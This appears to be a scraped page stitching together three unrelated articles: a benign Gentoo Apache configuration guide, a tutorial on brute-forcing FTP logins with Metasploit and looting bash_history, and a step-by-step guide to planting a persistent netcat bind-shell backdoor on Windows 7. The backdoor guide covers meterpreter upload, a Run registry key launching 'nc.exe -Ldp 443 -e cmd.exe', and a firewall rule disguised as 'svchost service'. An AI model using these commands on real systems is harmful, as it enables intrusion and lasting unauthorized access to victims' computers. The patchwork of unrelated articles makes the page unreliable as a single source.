Gentoo – Apache Configuration #2

Continuing from the first Gentoo Apache configuration article, we’ll now look at some of the other settings in the main configuration files and what they can do.

Concentrating on efficiency and security, this will end our Apache configuration journey (for now).

---

ServerName

Default: Not Set

The ServerName is usually a hostname or a FQDN (Fully Qualified Domain Name).

If you followed the Gentoo – Apache Instalation article, you will have already set the ServerName configuration.

If you fail to set the ServerName then on an Apache restart you will see the following warning:

apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.0.1 for ServerName

To stop the warning and set the ServerName, add the following to the end of ‘/etc/apache2/httpd.conf’:

ServerName demo

Remember the test slice has a hostname of ‘demo’ — set this to your hostname or FQDN.

Other Default Settings

Open the file where most of the default configuration settings are found in your favourite editor:

nano /etc/apache2/modules.d/00_default_settings.conf

We’ll go through the more important settings that we haven’t already covered in the previous article.

You can find out more about the settings we don’t cover here by reading the commented paragraph found above where the setting’s default value is displayed in the configuration files. Also Google is very useful, I usually Google for something like “Apache 2.2 SettingName” and it brings me to the right place in the Apache docs.

Scroll down the file until you find each setting mentioned below.

ServerTokens

Default: Prod

The ServerTokens setting will dictate how much information is sent in the Headers with regard to the Apache version and modules in use.

On a lot of non-gentoo systems the default here is ‘Full’, which would send the maximum information possible; this can be useful in certain situations, for example when debugging a server install. However on Gentoo the default is ‘Prod’, which shows the least information possible:

Apache

Does this make a difference? Well, yes. If we can suppress the amount of information shown, it will make it harder for someone to find an exploit.

It does not make the actual install any more secure but all someone would have to do if the setting were on ‘Full’ would be to look for an exploit on ‘Gentoo Apache 2.2.11’ for example. Why make it easier for them?

The options are (with example outputs):

Full

Apache/2.2.11 (Gentoo) mod_ssl/2.2.11 OpenSSL/0.9.8k PHP/5.2.10-pl0-gentoo

OS

Apache/2.2.11 (Gentoo)

Minimal

Apache/2.2.11

Minor

Apache/2.2

Major

Apache/2

Prod

Apache

It’s up to you what level of information you want to give out. I prefer leaving ServerTokens set to ‘Prod’.

ServerSignature

Default: On

Server generated pages, such as 404 pages or directory listings, can contain a footer line which includes server information and can also include the ServerAdmin’s email address.

If you navigate to your Slice IP address and a non-existent page, you will see a 404 Page not found page with the footer information:

Apache Server at demo Port 80

The options are:

Off: Produces no footer

On: Produces footer information (at a level defined by the ServerTokens setting)

Email: Adds an email link to the information (email address is defined in the vhosts file with the ServerAdmin setting)

Keep in mind that many settings can be overridden by a virtual host file.

If you disable the ServerSignature in this file, but a virtual host file has:

ServerSignature On

Then the global setting will be overridden and a footer will still be displayed on 404 pages, etc. for any sites associated with that virtual host.

HostnameLookups

Default: Off

If you want happy users and to save traffic, leave this set to ‘Off’.

Setting this to ‘On’ will enable DNS lookups, so the host names of your site’s visitors can be logged (it performs a reverse DNS check).

All a bit much and if you desperately need hostname information from your visitors it is advised to use logresolve (located in /usr/sbin/logresolve) for this purpose. A small explanation can be found here.

Summary

As you can see, the Gentoo Apache default settings are already quite efficient and secure, but it is a good idea to understand the different options available, as the default settings may not be ideal for every install.

—

matiu

Attacking the FTP Service

01MAR

FTP is a service that is commonly used in Web Servers from Webmasters for accessing the files remotely.So it is almost impossible not to find this service in one of our clients systems during an engagement.

For that reason we will try to cover in this article a scenario of a possible attack against the FTP Server.

The first thing that we need to do is of course to identify which systems are running the FTP service (for the needs of this tutorial I have put only one system). We can do a simple scan with Nmap in order to find the open ports.

We can see that the FTP port is open. Now the next logical step that we have to do is to identify which version the FTP application is running by using a method which called FTP banner grabbing.

Of course we can use the Nmap for the discovery of the remote operating system and the service fingerprinting but in this tutorial we will not take advantage of that.

Banner Grabbing is a technique that someone can use in order to extract information from application banners.For example if the remote host is a web server,we can try to connect through telnet.The banner results will give us an indication about the operating system and the type of the web server (Apache or IIS).

Command: telnet target_IP 80

In order to do a banner grabbing in the FTP service we will just try to connect through our console to the FTP server.

From the above image we can see that the version is 1.3.1 and the operating system is Debian.There are many things that we can do from here.First we can try to find if there is any public exploit for the ProFTPD 1.3.1 version.If there is then we can launch it against the FTP Service.

If there is not any public exploit for the specific version then we can try to find a valid username and password by using a dictionary attack.We can use any tool like THC Hydra for this job but in this article we will see how it could be achieved through metasploit.

Metasploit Framework has a specific module for attacking FTP servers.So we will search on the metasploit for the module ftp_login.

Now that we have found the FTP scanner it is time to configure it.Of course we will need some good wordlists for the usernames and the passwords.If we don’t have then there is no problem because metasploit has a folder with various wordlists.Here we will use the wordlists that contains Unix usernames and passwords.

We are setting the scanner according to the following image and we type run in order to the scanner to start:

The scanner has discovered 3 valid login credentials as you can see from the next 3 images.

So now we have three valid logins to choose in order to connect to the FTP server.Lets try the last one which is the user as username and user as password.

We can see that we have successfully managed to login to the FTP server.Now we can execute the commandls -lat to the server in order to display the list with the current directories and subdirectories and the permissions that we have on the directories.

There are two directories that are important here.The SSH because it may contain private SSH keys and the bash_history because it keeps a history of all the commands that the user has run.For example you can find information about user ID,passwords,confidential file names,locations,server names and shared folders.

We will download the bash_history file to our computer with the command get as you see it in the image below:

Except of the console for the connection to the FTP server we can use also our browser.We will try to login with the same credentials user/user

After some searching in the directories we have found a directory which contained the following:

We can see that there are 4 folders.A folder named user, a folder named service and a folder namedmsfadmin.

This is an indication that another account exists under the username msfadmin which probably is an administrator’s account and has more privileges.The reason that we assumed that is because the folders names are the same with the usernames that we  have discovered previously.

The previous accounts had passwords same with the usernames.So we will try to login with the following credentials:

Username: msfadmin

Password: msfadmin

The image above is showing that our try to login with the username/password msfadmin was successful.If the password was different then we could have tried another dictionary attack against the FTP server in order to find and the password.

So we have managed to login to the FTP server with an administrator’s account.

Conclusions

There are some conclusions that we can make regarding this scenario.First of all the banner grabbing allow us to discover valuable information about the FTP server and the target operating system.This means that if the administrator had changed the FTP banner then it would be much harder for us to disclose these information.

In addition we have noticed the weak credentials of the 3 accounts that we discovered.Also the administrator’s account password is the same with the username.This account policy is unacceptable in most of the companies and probably you will not meet something similar.However even large organizations are suffering from weak passwords so eventually it can happen.It is important for that reason to have a good password policy.

On the other hand if a malicious user was trying brute force or dictionary attacks (like this scenario) against the FTP server then it would probably flooded the log files.A security solution that would block the IP address after 3 unsuccessful logins would be the most effective.

Are you sure netcat can be used as a backdoor?

Level : Medium

O.S Target : Windows 7 ultimate

When an attacker successfully compromise a system they need to maintain the connection, that’s why the attacker usually installing backdoor on victim computer for future use to make attacker easily connect to victim computer to use victim resource, and collecting data on victim computer.

Are you sure netcat can be used as a backdoor? yes sure of course In this tutorial I will write down the technique to set up the famous listener application NetCat as a backdoor for Windows system when attacker successfully compromised victim computer and gaining meterpreter access.

This tutorial I will write based on gaining access using java signed applet exploit in my previous tutorial.

Requirements :

1. NetCat 2. Meterpreter Script (you can get meterpreter script when successfully compromise victim with selected payload)

10 Steps to Use NetCat as a Backdoor in Windows 7 System:

1. The first step you need to gain an access to victim computer and get a meterpreter script for the payload ( I’m using java signed applet from my previous tutorial).

2. The next step you need to upload your NetCat.exe to victim computer by using following command :

upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32

upload nc.exe and place it in C:\windows\system32 on victim computer

When it failed to upload(look the picture above), you need to escalate your privilege to system account (view the tutorial privilege escalation here). 3. When upload process successful it will shown like this :

4. The next step we need to configure the registry to make NetCat execute on Windows start up and listening on port 443. We do this by editing the key “HKLM\software\microsoft\windows\currentversion\run“. Enumerate the supplied registry key :

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

5. Then add our NetCat into start up process by running this command :

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'

Successful set nc.

6. To check our backdoor autorun process and make sure it already added on autorun list :

reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc

7. Until this step everything looks okay, for the next step we need to alter the system to allow remote connections through the firewall to our netcat backdoor using netsh command and open port 443 . run shell command from meterpreter to access command prompt, and then run :

netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=443

8. When success add our firewall rule, let’s check and make sure our new rule has been added or not by using this command :

netsh firewall show portopening

9. Yep everything has been set up so great until this step, now we will run our netcat to try connect to victim computer by running :

nc -v victim_ip_address port

10. Let’s try our backdoor by restarting the victim computer by using reboot command from meterpreter or shutdown -r -t 00 from windows console and try again to connect using NetCat in step 9.

meterpreter > reboot

or

C:\windows\system32>shutdown -r -t 00

If our netcat show up a console, then we’re successful inject a NetCat backdoor to victim computer.

Countermeasures :

1. When you have activated windows firewall, make sure you also have other personal firewall installed to detect inbound or outbound packet. Hope it’s useful

– See more at: http://www.hacking-tutorial.com/hacking-tutorial/10-steps-to-use-netcat-as-a-backdoor-in-windows-7-system/#sthash.rE9iTxkp.dpuf